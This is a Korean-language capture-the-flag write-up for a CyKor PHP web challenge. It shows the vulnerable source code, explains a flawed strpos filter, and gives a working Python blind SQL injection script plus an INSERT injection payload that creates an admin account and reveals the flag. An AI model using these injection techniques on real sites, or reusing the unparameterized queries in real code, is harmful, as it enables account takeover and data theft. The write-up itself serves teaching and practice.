
Sign 페이지이다. 회원가입, 로그인을 할 수 있다.
<?php
define('IS_INCLUDED', true);
include($_SERVER["DOCUMENT_ROOT"].'/include/config.php');
if (!is_signin()) {
redirect('/index.php', 'Sign in first');
die();
}
if ($_SESSION['is_admin']) {
echo "CyKor{-----REDACTED-----}";
} else {
redirect('/index.php', 'You are not an admin');
}
?>
flag.php
flag를 확인할 수 있는 php이다. is_admin이 1이면 flag를 확인할 수 있다.
<?php
define('IS_INCLUDED', true);
include($_SERVER["DOCUMENT_ROOT"].'/include/config.php');
if (is_signin()) {
redirect('/index.php', 'You are already signed in :)');
die();
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST) {
$id = $_POST['id'];
$pw = $_POST['pw'];
if (!$id || !$pw) {
die('Not enough params :(');
}
if (!check($id)) {
die('No hack :(');
}
$pw = sha256($pw);
$query = "INSERT INTO users(id, pw, is_admin) VALUES ('$id', '$pw', 0);"
mysqli_query($conn, $query);
redirect('/signin.php', null);
die();
}
?>
signup.php
signup.php이다. id와 pw를 입력하면 id는 그대로, pw는 sha256으로 암호화한 값을 DB에 insert한다.
<?php
define('IS_INCLUDED', true);
include($_SERVER["DOCUMENT_ROOT"].'/include/config.php');
if (is_signin()) {
redirect('/index.php', 'You are already signed in :)');
die();
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST) {
$id = $_POST['id'];
$pw = $_POST['pw'];
if (!$id || !$pw) {
redirect(null, 'Not enough params :(');
die();
}
if (!check($id)) {
die('No hack :(');
}
$pw = sha256($pw);
$query = "SELECT * FROM users WHERE id='$id' AND pw='$pw';";
$res = mysqli_query($conn, $query);
$res = mysqli_fetch_array($res, MYSQLI_ASSOC);
if (!$res) {
redirect(null, 'Signin fail :(');
}
if ($res['id'] === $id && $res['pw'] === $pw) {
$_SESSION['id'] = $res['id'];
$_SESSION['is_admin'] = $res['is_admin'];
redirect('/index.php', null);
die();
} else {
die('No hack :(');
}
}
?>
signin.php
signin.php이다. id와 pw를 입력하면 id에서 필터링을 거친 후 id는 그대로, pw는 암호화한 값으로 DB에서 SELECT해온다. 그 다음에 입력한 id, pw와 DB에서 가져온 id, pw를 비교하여 세션의 id와 is_admin 값을 적용해준다.
<?php
if(!defined('IS_INCLUDED')) {
die('Not allowed :(');
}
if(!$conn) {
die('DB Connection Error :(');
}
function redirect($loc, $alert) {
$script = '<script>';
if ($alert !== null) {
$script .= "alert('$alert');";
}
if ($loc === null) {
$script .= "history.go(-1);";
} else {
$script .= "location.href='$loc';";
}
$script .= "</script>";
die($script);
}
function check($data) {
$filters = array("'", '"', "\", "(", " ");
foreach ($filters as $filter) {
if (strpos($data, $filter)) {
return false;
}
}
return true;
}
function is_signin() {
return isset($_SESSION['id']);
}
function sha256($data) {
$salt = "--REDACTED--";
return hash('sha256', $data.$salt);
}
?>
util.php
위는 필터링 함수인 check 함수가 포함된 util.php이다. check 함수에서는 strpos를 가지고 ‘, “, , (, ‘공백’을 필터링하고 있다.
그런데 이 필터링 함수에는 심각한 취약점이 존재한다.

strpos 함수를 가지고 a,b,c,d,e를 필터링하는 함수를 만들어보았다. 실행해보니 문자열 abcdeabcde에서 a가 존재하는 것은 확인하지 못했고, b,c,d,e도 문자열에서 앞에 있는 문자만 index를 가져오지 뒤의 문자 Index는 알아내지 못하는 것을 확인할 수 있었다.
이렇게 되는 이유는 strpos가 문자열 내에서 문자의 index를 반환하는 함수인데, abcdeabcde에서 a의 index는 0이기에 if 문을 통과하지 못하고 결국 필터링에 실패하게 되는 것이다. 문자열에서 뒤에 있는 a 역시 무시된다.
이 점을 이용해서 우리는 필터링이 되고 있는 ‘, “, (, 공백을 사용할 수 있다. 단 조건은 사용하려는 문자를 반드시 문자열의 맨 앞에 적어야 하고, 맨 앞에 적은 문자를 제외한 다른 문자는 필터링에서 걸리게 된다.
위의 취약점을 이용해서 시나리오를 짜봤다.
- id=jin, pw=jin으로 회원가입해준다.
- blind sql injection으로 jin의 sha256값을 알아낸다.
- 회원가입 페이지에서 sql injection으로 abcd, sha256(jin), 1을 넣어준다.
- 로그인 페이지에서 아이디로 abcd, 비번으로 jin을 넣어주면 로그인에 성공할 것이다!
import requests
import time
url='http://prob.cykor.kr:10011/signin.php'
cookies={'PHPSESSID':'8a6189d938f59804b51634dc9e1d73af'}
sha=''
for index in range(0,64):
for i in range(48,71):
search=sha+chr(i)
data={'id':f"'/**/or/**/CASE/**/WHEN/**/id='jin'/**/and/**/pw/**/like/**/'{search}%'/**/THEN/**/9e307*2/**/ELSE/**/0/**/END#",'pw':'fdfd'}
res=requests.post(url=url,cookies=cookies,data=data
if(b'Signin' in res._content ):
sha+=chr(i)
print(index+1,': ',sha)
break
위의 payload로 입력한 pw의 sha256 값을 알아냈다. 괄호가 필터링되고 있으므로 case when then else end와 like를 이용했으며, 비밀번호를 맞추면 오류가 나서 Signin Fail이 뜨도록, 틀리면 0을 반환하여 sql query는 성공하지만 로그인 과정을 실패하여 no hack이 출력되도록 하였다.

jin의 sha256 값을 알아냈다.
이제 이 값을 이용해서 signup 페이지에 id, sha256(jin), 1);을 넣어주면 되는데, 한 가지 문제가 생겼다.

insert에 sql injection을 하기 위해선 ‘을 사용해야 한다. 그런데 ‘을 무조건 맨 앞에 사용해야 하다보니 위와 같이 ‘jin으로 DB에 저장이 되어도 이를 불러오기 위해서는 id 칸에 ‘’jin을 입력해야 한다. 이렇게 되면 DB에서 가져온 id와 입력한 id가 일치하지 않기 때문에 로그인에 실패하게 된다!
이를 해결하기 위해 idx를 알아내는 payload도 새롭게 작성해서 ‘/**/or/**/idx=??을 id로 넣어서 입력한 id와 DB에서 가져온 id를 같게 만들어주었다!

위와 같이 성공적으로 가져오는 것을 확인했다. 그런데 문제에서는 이 방법이 통하지 않았다… 원인은 뭔지 파악하지 못했지만 결국 다른 방법을 찾아야 했다.
이것저것 해보던 중 공백을 이용해서 이 문제를 해결할 수 있다는 사실을 알아냈다!!!!

위와 같이 ‘/**/’exploit’으로 insert해주면 id에 그냥 exploit이 저장되는 것을 확인할 수 있었다!
이 방법을 활용해서 Signup 페이지에서 id에
'/**/'qwer','654bf91cd8c030d78976bc97b8817334d68324f4c2317793284dfdc3572f4946',1);#
을 넣어주고, pw는 아무거나 입력해주었다. (처음에 비번을 대문자로 넣어줬다가 계속 안돼서 시간을 엄청 날렸다…. mysql은 대문자 소문자가 상관 없지만 php 확인 과정에서 계속 걸려서 실패했던 것이다…..ㅠ)
그 다음에 Signin에서 id:qwer, pw:jin으로 로그인해주면,

로그인 성공!

is_admin이 1이므로 flag 페이지에서 flag를 확인할 수 있다.
blind sql injection을 활용한 간단하면서도 자잘자잘하게 신경 쓸 부분이 많은 문제였다!
🚩 CyKor{c6aaf57ac28a34603942177c95b25d20d09ce1714bd55b5bede4dfbba2756c76}